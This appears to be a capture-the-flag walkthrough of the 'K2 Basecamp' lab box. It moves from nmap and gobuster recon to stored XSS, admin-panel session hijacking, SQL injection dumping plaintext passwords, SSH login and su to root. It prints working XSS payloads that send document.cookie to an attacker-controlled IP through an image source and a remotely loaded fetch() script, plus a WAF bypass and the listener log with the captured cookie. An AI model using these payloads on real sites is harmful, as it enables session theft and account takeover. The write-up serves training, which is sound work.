K2 1

Challenge: K2 Basecamp

For this challenge we are going to attack a Linux box named after one of the deadliest mountains K2. Although this particular mountain has seen more succesfull summit attempts recently, it is interesting to note that more people have been in space than on the summit of the K2. Now let's get started.

As always we start with an AutoRecon against our target, IP address 10.10.163.65.

We surf to the website 10.10.163.65 and also add k2.thm to our /etc/hosts.

# Nmap 7.95 scan initiated Sun Nov  2 17:03:15 2025 as: /usr/lib/nmap/nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /home/user/tryhackme/boxes/k2/results/10.10.163.65/scans/_full_tcp_nmap.txt -oX /home/user/tryhackme/boxes/k2/results/10.10.163.65/scans/xml/_full_tcp_nmap.xml 10.10.163.65
adjust_timeouts2: packet supposedly had rtt of -230693 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -230693 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1306018 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1306018 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1305974 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1305974 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -580824 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -580824 microseconds.  Ignoring time.
Nmap scan report for 10.10.163.65
Host is up, received user-set (0.022s latency).
Scanned at 2025-11-02 17:03:15 GMT for 30s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:52:02:e8:d9:4b:83:1a:52:c9:9c:b8:43:72:83:71 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCU/bAeEwvt9qMDYh3J53+AtBen+rwRzjnA60m4NspTpzmqcIFo+1we5pWklKfiG1NNFJE9P9Stfzjh9pRi35NSr1CSxzJdbBm85/gpdTK1ctPoVEZY3ts0AxJivIwiARxudMKLJmHsx+vNgWAILpn6rZby1glA/y88uzDQ+DDlbDOnfjiHp9AkRQosxhKNN+byNXkUB8Y4ZZgrkgFwQ8TCQRyMrnlyrLQzNHpWN50GNAPuZmGYhmiBQA5Ux0VzQqV4+Mu1CzsLlDfu26OpvmkuxWBJC8nZt11JDeyfw1JdWfnOK14T7SJ/CpLTM5acnB7Rz5umShZZK3OEROzLs8ETr1dyoKXBlZ2gog2E5Hj2vhcjZnm4BtOy6xs9IwDS+lOda+GCdIuuAxUvn+QwUPSjOaStVEvTFJh+iIcivlUuU4zge2jABNS84GV6hbBHRv7fSx1MUsqqeb7EQIrucJkRI5LAm2yoFjjkLRmW7NZjbJzvXN1WYBoFwx/3k0h6ZEc=
|   256 37:94:6e:99:c2:4f:24:56:fd:ac:77:e2:1b:ec:a0:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFR+3LHmni3zpiKSoutsn1VQ1swOy7rqmMJNnZQq92MLJO387xGiEt42lu0WCBL/GEXNF2x9SQVXnthSjPeVr/Q=
|   256 8f:3b:26:92:67:ec:cc:05:30:27:17:c5:df:9a:42:d2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2FB1aDlln4ARqZ7uFANc4qyx0+I/On+7bmobx+27EH
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Dimension by HTML5 UP
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 4.15 (97%), Linux 3.2 - 4.14 (94%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.10 (93%), Linux 5.4 (92%), Linux 2.6.32 - 3.5 (90%), Linux 2.6.32 - 3.13 (90%), Linux 5.0 - 5.14 (90%), Android 9 - 10 (Linux 4.9 - 4.14) (89%), Android 10 - 12 (Linux 4.14 - 4.19) (89%)
No exact OS matches for host (test conditions non-ideal).

Above is the truncated AutoRecon output and spot the relatively small amount of ports that are open. So we turn ourselves to OpenSSH. We have a look at Known Vulnerabilities in OpenSSH 8.2p1 on following website to find vulnerabilities for this specific version of OpenSSH.

The exploits listed here seem too obscure for us to go after in this challenge so we turn to the website yet again. Let's enumerate subdirectories using GoBuster.

gobuster vhost --url 10.10.226.78:80 --rua --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

We find two subdomains:

  1. it.k2.thm

  2. admin.k2.thm

On the it.k2.thm domain we find a ticketing panel for which we can sign up. After logging in we see an old-school form where we can submit a ticket. Let's try some simple XSS here:

<img src=โ€http://10.11.12.13/title"></img>

Which does not work. Now let's try the description field:

user@kernel ~/exploits> python -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.226.78 - - [02/Nov/2025 20:01:02] code 404, message File not found
10.10.226.78 - - [02/Nov/2025 20:01:02] "GET /desc HTTP/1.1" 404 -
10.10.226.78 - - [02/Nov/2025 20:01:04] code 404, message File not found
10.10.226.78 - - [02/Nov/2025 20:01:04] "GET /desc HTTP/1.1" 404 -

Interestingly enough this seems to work, so now the logical next step is to try stealing a cookie from the visiting user.

<script>var i=new Image(); i.src=โ€http://10.10.10.10/?cookie="+btoa(document.cookie);</script>

Upon inputting the following script we see the following notification:

 WAF Filter activated. Please re-submit ticket. 

Something is stopping us from using our XSS. If I had to guess the filtering is probably happening on syntax related to cookie, so let's try the following:

<script>var i=new Image(); i.src=โ€http://10.10.10.10/?cookie="+btoa(document['cookie']);</script>

And it seems we have bypassed the WAF Filter. For some reason the above script does not work though so we try something else. Let's put the code into a file called xss.js.

fetch("http://10.11.146.206/?c="+btoa(document.cookie));

And then exploit XSS using the following script.

<script src="http://10.11.12.13/xss.js"></script>

Finally we are able to get our cookie.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.226.78 - - [02/Nov/2025 20:22:02] "GET /xss.js HTTP/1.1" 200 -
10.10.226.78 - - [02/Nov/2025 20:22:02] "GET /?c=c2Vzc2lvbj1leUpoWkcxcGJsOTFjMlZ5Ym1GdFpTSTZJbXBoYldWeklpd2lhV1FpT2pFc0lteHZaMmRsWkdsdUlqcDBjblZsZlEuYVFlOWFRLmVPS0xsMDB4UnA1dXUtTmxidWNoMG1ydEFYcw== HTTP/1.1" 200 -

Let's try to use this cookie to login to the admin panel. We are going to use the same session.

loading-ag-5914

Do not forget to decode the cookie from base64

user@kernel ~/t/b/k/one> echo "eyJhZG1pbl91c2VyamFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ==" | base64 -d 
session=eyJhZG1pbl91c2VyamFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.aQoIiQ.girdQX-Wuuw37Q72QBlj0vjyLWc

We manage to enter the admin panel after several attempts of setting our cookies. We are now being presented a form page. Our Burp Suite detects that this form is vulnerable to SQL Injection.

We receive the following list of users.

| Username | Password        | Email Address    | ID |
|----------|-----------------|------------------|----|
| james    | Pwd@9tLNrC3!    | james@k2.thm     | 1  |
| rose     | VrMAogdfxW!9    | rose@k2.thm      | 2  |
| bob      | PasSW0Rd321     | bob@k2.thm       | 3  |
| steve    | St3veRoxx32     | steve@k2.thm     | 4  |
| cait     | PartyAlLDaY!32  | cait@k2.thm      | 5  |
| xu       | L0v3MyDog!3!    | xu@k2.thm        | 6  |
| ash      | PikAchu!IshoesU!| ash@k2.thm       | 7  |

Let's try to login as james.

ssh james@k2.thm

B-b-b-bingo! We're in.

Now we see some server code inside of the home directory. We can also access the directory of rose where another app is hosted through Flask. Since one of the questions seems to be related to access logs, let's have a look at the Nginx access logs.

./access.log.1:10.0.2.51 - - [24/May/2023:22:17:17 +0000] "GET /login?username=rose&password=PASSWORD HTTP/1.1" 200 1356 "http://admin.k2.thm/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

This password does not seem to work for rose. Let's give root a try.

james@k2:/var/log/nginx$ su root
Password: 
root@k2:/var/log/nginx# 

And we're in!

After this you can find the fullnames of the users inside of:

/etc/passwd

and the password for Rose is inside of her bash history.